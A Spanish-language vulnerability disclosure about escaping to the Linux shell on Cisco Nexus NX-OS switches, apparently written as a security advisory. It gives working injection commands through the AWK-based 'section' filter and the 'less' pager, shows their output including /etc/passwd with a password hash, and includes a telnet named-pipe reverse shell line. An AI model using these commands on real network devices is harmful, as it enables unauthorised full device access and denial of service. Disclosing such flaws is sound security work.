
Vulnerabilidades de seguridad publicadas, investigación e información asociada.
Se requiere acceso local. Sin embargo, las cuentas sin privilegios pueden obtener acceso al sistema operativo Linux subyacente, lo que efectivamente proporciona acceso completo al dispositivo. Esto podría potencialmente generar problemas en entornos donde se permite al NOC y a otro personal acceso de bajo nivel como primer punto de contacto, etc.
Este problema se encontró en la plataforma Nexus 7000. Se cree que también afecta a las siguientes plataformas:
El comando section parece ser un script de AWK al que se le pasa la cadena solicitada. Sin embargo, la entrada no parece estar saneada correctamente. Como resultado, se puede usar AWK para ejecutar comandos arbitrarios en el subsistema Linux.
nx1# sh clock | sed 's/.*/BEGIN \{ system\(\"id"\) \}/' > 20110713.awk
Warning: There is already a file existing with this name. Do you want to
overwrite (yes/no)? [no] y
nx1# sh clock | sec '* -f /bootflash/20110713.awk '
uid=2003(user) gid=504(network-operator)
11:16:04.082 UTC Wed Jul 13 2011
nx1# sh clock | sed 's/.*/BEGIN \{ system\(\"ls \/mnt\/cfg\/0\/"\) \}/' > 20110713.awk
nx1# sh clock | sec '* -f /bootflash/20110713.awk '
ascii
bin
boot
cfglabel.sysmgr
debug
licenses
linux
log
lost+found
11:18:41.885 UTC Wed Jul 13 2011
Esto incluso se puede usar para eliminar todos los archivos en el bootflash y emitir un comando 'reboot' al sistema. Sin embargo, reiniciar desde el subsistema Linux hace que el dispositivo escupa mensajes a la consola y se bloquee; en lugar de recargar realmente el dispositivo.
Se cree que afecta a las siguientes versiones de software:
Como ejemplo:
switch# sh clock | less
Una vez que se presenta less, abrimos archivos presionando dos puntos y luego "e" y especificando la ruta al archivo.
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/usr/sbin:
sys:*:3:3:sys:/dev:
ftp:*:15:14:ftp:/var/ftp:/isanboot/bin/nobash
ftpuser:UvdRSOzORvz9o:99:14:ftpuser:/var/ftp:/isanboot/bin/nobash
nobody:*:65534:65534:nobody:/home:/bin/sh
admin:x:2002:503::/var/home/admin:/isan/bin/vsh_perm
Sin embargo, esto es solo acceso de solo lectura una vez más. PERO, si usamos la macro de tecla "|" (pipe) y luego "$", podemos ejecutar comandos.
!ls -lah > /bootflash/20110715
Como se muestra a continuación, el archivo se ha creado en el boot-flash.
switch# dir
97 Jul 15 12:01:44 2011 20110715
Usando este método, he podido establecer un shell remoto en el subsistema Linux de NX-OS usando lo siguiente:
mknod rs p; telnet ad.dr.es.s 8888 0<rs | /bin/bash 1>rs
Incluso el comando reboot se acepta como entrada válida. Sin embargo, en lugar de reiniciar el dispositivo, hace que el sistema se bloquee mientras escupe errores a la consola.
switch# sh clock | less
Fri Jul 15 12:06:30 UTC 2011
!reboot
Broadcast message from root (Fri Jul 15 12:06:39 2011):